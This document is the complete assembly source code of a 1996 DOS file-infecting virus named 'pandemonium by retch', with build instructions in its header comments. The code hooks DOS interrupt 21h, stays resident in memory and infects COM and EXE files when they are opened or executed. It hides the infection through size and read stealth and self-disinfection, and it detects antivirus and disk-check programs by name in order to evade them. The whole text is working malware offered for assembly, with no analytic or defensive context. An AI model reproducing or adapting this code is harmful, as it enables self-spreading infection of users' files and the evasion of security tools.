; com/exe tsr stealth. patches int 21 kernel. go res in umb. ; ; thanks lapse for insights. ; ; a86 virus.asm virus.com ; or ; tasm /m virus.asm | tlink virus.obj | exe2bin virus.exe virus.bin bytesize = vend-vstart parasize = (memend-vstart+0fh)/10h .model tiny .code org 0 vstart: mov word ptr ds:[0],20cdh call pushall delta: push bp mov bp,[bp+push_ret] call install mov bx,bp pop bp mov ax,[bp+push_ds] markerloc = $ marker = 1005h add ax,10h add cs:[bx+savecs-delta],ax add cs:[bx+savess-delta],ax call popall mov sp,0fff0h savess = $-2 mov ss,sp mov sp,0fffeh savesp = $-2 db 0eah saveip dw 0 savecs dw 0fff0h db 0dh,0ah,"pandemonium by retch",0dh,0ah install:mov ax,5802h int 21h cbw push ax mov bx,1 call setstat mov di,6h mov ch,1 jmp short load loadptr:mov di,es:[di] load: les di,es:[di] next: inc di cmp byte ptr es:[di-1],0eah jz load cmp word ptr es:[di-2],2effh jz loadptr cmp word ptr es:[di-4],0e18ah loopnz next mov al,es:[di-1] cbw add di,ax cmp word ptr es:[di],0fc80h jnz exitinstall mov ax,es:[di+2] mov cs:[bp+savecmp-delta],ax push es push di add di,5 mov cs:[bp+i21_1+2-delta],es mov cs:[bp+i21_2+2-delta],es mov cs:[bp+i21_1-delta],di mov al,es:[di-1] cbw add di,ax mov cs:[bp+i21_2-delta],di xor di,di mov ax,5800h int 21h xchg ax,cx mov ax,5801h mov bx,81h int 21h alloc: lea ax,[di+4800h] mov bx,parasize call int21 jnc got_mem call getpsp mov es,bx call mcb_es mov bx,es:[di+3] sub bx,parasize+1 mov es,ax lea ax,[di+4a00h] call int21 jmp short alloc exitinstall: pop bx setstat:mov ax,5803h int 21h ret got_mem:mov es,ax mov bx,cx mov bh,0 mov ax,5801h int 21h call mcb_es mov es:[di+1],ax mov es,ax mov cx,bytesize lea si,[bp+vstart-delta] call copy pop di pop ds mov byte ptr [di],0eah mov word ptr [di+1],offset newi21 mov [di+3],es jmp short exitinstall mcb_es: mov ax,es mcb_ax: dec ax mov es,ax inc ax ret copy: lods byte ptr cs:[si] stos byte ptr [di] loop copy ret exiti21:call popall jmp emulateoldcode int21: pushf push cs call emulateoldcode ret emulateoldcode: cmp ah,0 savecmp = $-1 savejmp:jz fixup db 0eah i21_1 dd 0 fixup: db 0eah i21_2 dd 0 newi21: call pushall call checkcaller mov di,offset i21tab-3 db 0b9h stealthmode dw ? findfnc:add di,3 cmp ah,cs:[di] loopnz findfnc mov ax,cs:[di+1] jz useit mov ax,offset exiti21 useit: push ax mov ax,[bp+push_ax] mov cx,[bp+push_cx] mov di,[bp+push_di] ret i21tab: db 3dh dw offset infectdx db 4bh dw offset exec db 6ch dw offset infectsi nostealth = ($-i21tab)/3 db 11h dw offset fcbdir db 12h dw offset fcbdir db 13h dw offset delete db 3fh dw offset read db 40h dw offset write db 41h dw offset unlink db 42h dw offset lseek db 4eh dw offset ascdir db 4fh dw offset ascdir db 57h dw offset time allfunctions = ($-i21tab)/3 delete: mov si,dx inc si cmp byte ptr [si-1],0ffh jnz normal add si,7 normal: push cs pop es mov di,offset header mov cx,8 copynam:movsb cmp byte ptr ds:[si],' ' loopnz copynam lea si,[bx+8] mov al,'.' stosb movsw movsb mov byte ptr es:[di],0 call getdta push es push bx push cs pop ds mov dx,offset dta mov ah,1ah call int21 mov dx,offset header mov cx,8 mov ah,4eh cmp ax,0 org $-2 fnext: mov ah,4fh call int21 jc restdta mov dx,offset dta+1eh call open xchg ax,bx jc fnext call disinf_handle call close jmp short fnext restdta:pop dx pop ds mov ah,1ah call int21 jmp short exiti21_1 time: cmp al,1 jz setting_time call popall call int21 call pushall jc donesub sub dh,0c8h jb donesub mov byte ptr [bp+push_dx+1],dh donesub:jmp pop_retf2 setting_time: cmp dh,0c8h jb exiti21_1 call infecthandle jmp short exiti21_1 unlink: call open jc exiti21_1 xchg ax,bx call disinf_handle call close jmp short exiti21_1 write: call disinf_handle exiti21_1: jmp exiti21 disinf_handle: call gettime jb exit_disinf sub dh,0c8h push cx push dx call readoldheader mov dx,0-bytesize mov cx,-1 mov al,2 call ls xor cx,cx mov ah,40h call int21 call ls_s call wheader call restorefp pop dx pop cx call settime exit_disinf: ret read: call checkyears jb exiti21_1 call readoldheader mov cx,-1 mov dx,0-bytesize mov al,2 call ls mov cs:[vpos_hi],dx mov cs:[vpos_lo],ax mov dx,cs:[fp_hi] mov ax,cs:[fp_lo] cmp dx,cs:[vpos_hi] jb adjust ja inbody cmp ax,cs:[vpos_lo] jae inbody adjust: mov cx,[bp+push_cx] add ax,cx adc dx,0 cmp dx,cs:[vpos_hi] jb doread sub ax,cs:[vpos_lo] jb doread sub cx,ax cmp ax,0 org $-2 inbody: xor cx,cx doread: push cx nopush: call restorefp pop cx mov dx,[bp+push_dx] mov ds,[bp+push_ds] mov ah,3fh call int21 call saveret jc doneread or ax,ax jz doneread cmp word ptr cs:[fp_hi],0 ja doneread cmp word ptr cs:[fp_lo],18h jae doneread mov si,cs:[fp_lo] push ax add ax,si cmp ax,18h pop ax jb move mov ax,si sub ax,18h neg ax move: xchg ax,cx add si,offset header mov di,dx push ds pop es call copy doneread: jmp pop_retf2 vpos_hi dw 0 vpos_lo dw 0 saveret:mov [bp+push_ax],ax jnc sretnoc or byte ptr [bp+push_f],1 stc sretnoc:ret readoldheader: xor cx,cx xor dx,dx mov al,1 call ls mov word ptr cs:[fp_hi],dx mov word ptr cs:[fp_lo],ax mov al,2 mov cx,-1 mov dx,-18h call ls call rheader restorefp: db 0b9h fp_hi dw 0 db 0bah fp_lo dw 0 mov al,0 jmp ls lseek: call checkyears jb doneadjust cmp al,2 jnz doneadjust sub dx,bytesize sbb cx,0 doneadjust: call int21 call saveret jc donelseek mov [bp+push_dx],dx donelseek: jmp pop_retf2 checkyears: push ax push cx push dx call gettime pop dx pop cx pop ax ret exec: cmp al,1 jz clean jb infectdx jmp exiti21 clean: call popall mov word ptr cs:[pblock],bx mov word ptr cs:[pblock+2],es call int21 call pushall les di,cs:[pblock] add di,0eh lds si,es:[di+4] xor cx,cx cmp byte ptr [si],0e9h jnz chkmark inc cx lodsb lodsw add si,ax chkmark:cmp word ptr [si+markerloc],marker jnz pop_retf2 jcxz notcom mov ax,[si+saveip] sub ax,103h mov ds:[101h],ax jmp short pop_retf2 notcom: push es:[di] push es:[di+2] call getpsp add bx,10h add word ptr [si+savecs],bx add word ptr [si+savess],bx mov ax,word ptr [si+savesp] dec ax dec ax stosw mov ax,word ptr [si+savess] stosw mov ax,word ptr [si+saveip] stosw mov ax,word ptr [si+savecs] stosw pop ds pop si lodsw les di,es:[di-8] stosw pop_retf2: call popall retf 2 infectsi: mov dx,si infectdx: call open jc exiti21_2 xchg ax,bx call infecthandle call close exiti21_2: jmp exiti21 infecthandle: xor di,di call gettime push cx push dx jae time_exit call rheader sub byte ptr [si],0e9h jz inf_com sub word ptr [si],5a64h jz inf_exe time_exit: pop dx pop cx add dx,di call settime ret inf_com:mov ax,[si+1] add ax,103h mov word ptr [saveip],ax mov word ptr [savesp],0fffeh mov ax,0fff0h mov word ptr [savecs],ax mov word ptr [savess],ax call ls_e or dx,dx jnz time_exit cmp ax,0f000h ja time_exit mov byte ptr [si],0e9h sub ax,3 push ax call writevirus pop [si+1] jc time_exit dohead: call ls_s call wheader mov di,0c800h j_te: jmp short time_exit inf_exe: call read2 cmp word ptr [si],40h jz time_exit call read2 cmp word ptr [si],0 jnz time_exit mov word ptr [si],'ZM' cmp word ptr [si+0ch],-1 jnz time_exit push [si+0eh] push [si+10h] push [si+14h] push [si+16h] pop word ptr [di+savecs] pop word ptr [di+saveip] pop word ptr [di+savesp] pop word ptr [di+savess] call ls_e push dx push ax call writevirus jc j_te mov word ptr [si+0ah],0 pop ax pop dx push dx push ax add ax,bytesize adc dx,0 mov cx,200h div cx or dx,dx jz noinc inc ax noinc: mov [si+2],dx mov [si+4],ax pop ax pop dx mov cx,10h div cx sub ax,[si+8] mov word ptr [si+14h],dx mov word ptr [si+16h],ax inc ax mov word ptr [si+0eh],ax mov word ptr [si+10h],(bytesize+150h) and 0ff00h jmp dohead db 0,"17/04/96",0 fcbdir: call popall call int21 call pushall cmp al,0 jnz go_pop_retf2 call getdta cmp byte ptr es:[bx],-1 jnz noadd add bx,7h noadd: add bx,1dh lea si,[bx-4] jmp short checkifcomspec ascdir: call popall call int21 call pushall jc go_pop_retf2 call getdta add bx,1ah lea si,[bx-2] checkifcomspec: push ax push es push bx call getpsp mov es,bx cmp bx,es:[16h] pop bx pop es pop ax jnz go_pop_retf2 cmp byte ptr es:[si+1],al jb go_pop_retf2 sub byte ptr es:[si+1],al sub word ptr es:[bx],bytesize sbb word ptr es:[bx+2],0 go_pop_retf2: jmp pop_retf2 checkcaller: push bx push ds push ax push si mov word ptr cs:[stealthmode],allfunctions mov ah,51h call int21 dec bx mov ds,bx mov bx,word ptr ds:[0008h] mov si,offset names searchnames: cmp si,offset endnam jz exitcheckcaller lods word ptr cs:[si] cmp ax,bx jnz searchnames gothelper: mov word ptr cs:[stealthmode],nostealth exitcheckcaller: pop si pop ax pop ds pop bx ret names db 'F-' db 'TB' db 'AR' db 'RA' db 'LH' db 'PK' db 'CH' endnam: read2: mov ah,3fh mov cx,2 jmp short si_21 writevirus: mov ah,40h mov cx,bytesize cwd jmp short j_int21 gettime:mov al,0 cmp ax,0 org $-2 settime:mov al,1 mov ah,57h call int21 cmp dh,0c8h ret rheader:mov ah,3fh cmp ax,0 org $-2 wheader:mov ah,40h mov dx,offset header mov cx,18h si_21: mov si,dx push cs pop ds jmp int21 ls_e: mov al,2 cmp ax,0 org $-2 ls_s: mov al,0 xor cx,cx xor dx,dx ls: mov ah,42h jmp short j_int21 getdta: mov ax,2fc8h j_int21:jmp int21 open: mov ax,3d02h cmp ax,0 org $-2 close: mov ah,3eh cmp ax,0 org $-2 getpsp: mov ah,51h jmp short j_int21 push_es = 00h push_ds = 02h push_di = 04h push_si = 06h push_bp = 08h push_bx = 0ah push_dx = 0ch push_cx = 0eh push_ax = 10h push_f = 12h push_ret = 14h pushall:pushf push ax push cx push dx push bx push bp push si push di push ds push es mov bp,sp cld jmp ss:[bp+push_ret] popall: pop ss:[bp+push_ret] pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax popf ret header db 18h dup (0) vend: dta db 2bh dup (0) pblock dd 0 memend: end vstart